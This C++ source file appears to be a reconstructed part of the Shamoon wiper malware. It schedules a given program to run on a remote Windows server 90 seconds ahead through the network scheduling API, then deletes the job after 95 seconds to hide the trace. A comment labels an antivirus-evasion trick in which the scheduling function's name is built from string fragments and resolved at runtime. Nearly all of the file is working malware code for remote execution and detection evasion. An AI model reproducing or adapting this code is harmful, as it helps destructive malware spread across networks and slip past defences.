// Copyright 2015 Christian Roggia. All rights reserved.
// Use of this source code is governed by an Apache 2.0 license that can be
// found in the LICENSE file.

#include "ScheduleJob.h"
#include "String.h"

using namespace Shamoon::Utils::String;

int Shamoon::Utils::ScheduleJob::DeleteJobAfter95Seconds(JOB_PROPERTIES *pJob)
{
	if(pJob)
	{
		Sleep(JOB_WAIT_BEFORE_DELETION);
		
		NetScheduleJobDel(pJob->IsServerNameSet ? pJob->ServerName : NULL, pJob->JobId, pJob->JobId);
		VirtualFree(pJob, 0, MEM_RELEASE);
	}
	
	return 0;
}

bool Shamoon::Utils::ScheduleJob::AddNewJob(const WCHAR *UncServerName, WCHAR *svc_path)
{
	FARPROC _NetScheduleJobAdd; // eax@6
	JOB_PROPERTIES *v8; // esi@9
	DWORD v10; // [sp+0h] [bp-3Ch]@4
	PTIME_OF_DAY_INFO time_of_day; // [sp+4h] [bp-38h]@1
	AT_INFO *job_info; // [sp+8h] [bp-34h]@2
	bool v13; // [sp+Fh] [bp-2Dh]@1
	const char *v18; // [sp+28h] [bp-14h]@4
	int v19; // [sp+38h] [bp-4h]@4

	v13 = 0;
	time_of_day = 0;
	if(!NetRemoteTOD(UncServerName, (LPBYTE *)&time_of_day))
	{
		job_info = 0;
		if(!NetApiBufferAllocate(sizeof(AT_INFO), (LPVOID *)&job_info))
		{
			if(job_info)
			{
				v10 = 0;
				
				job_info->Command     = svc_path;
				job_info->JobTime     = 1000 * (60 * (time_of_day->tod_mins + 60 * time_of_day->tod_hours - time_of_day->tod_timezone) + time_of_day->tod_secs + 90);
				job_info->Flags       = JOB_NONINTERACTIVE;
				job_info->DaysOfMonth = 0;
				job_info->DaysOfWeek  = 0;
				
				/** ----->> AV bypass "NetScheduleJobAdd" <<----- */
				std::basic_string<char> v14 = "JobAdd";
				v19 = 0;
				v14.insert(0, "Schedule");
				v14.insert(0, "Net");
				
				v18 = v14.c_str();
				_NetScheduleJobAdd = GetProcAddress(GetModuleHandleW(L"netapi32.dll"), v18);
				
				if(_NetScheduleJobAdd && !((NET_API_STATUS (__stdcall *)(LPCWSTR, LPBYTE, LPDWORD))_NetScheduleJobAdd)(UncServerName, (LPBYTE)job_info, &v10))
				{
					v8 = (JOB_PROPERTIES *)VirtualAlloc(NULL, 48, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
					if(v8)
					{
						v8->JobId = v10;
						if(UncServerName)
						{
							strcpyW(v8->ServerName, UncServerName, 2 * strlenW(UncServerName) + 2);
							v8->IsServerNameSet = 1;
						}
						else
						{
							v8->IsServerNameSet = 0;
						}
						CreateThread(0, 0, (LPTHREAD_START_ROUTINE)DeleteJobAfter95Seconds, v8, 0, 0);
					}
					v13 = 1;
				}
				else
				{
					v13 = 0;
				}
				
				if(job_info)
					NetApiBufferFree(job_info);
			}
		}
	}
	
	if(time_of_day)
		NetApiBufferFree(time_of_day);
	
	return v13;
}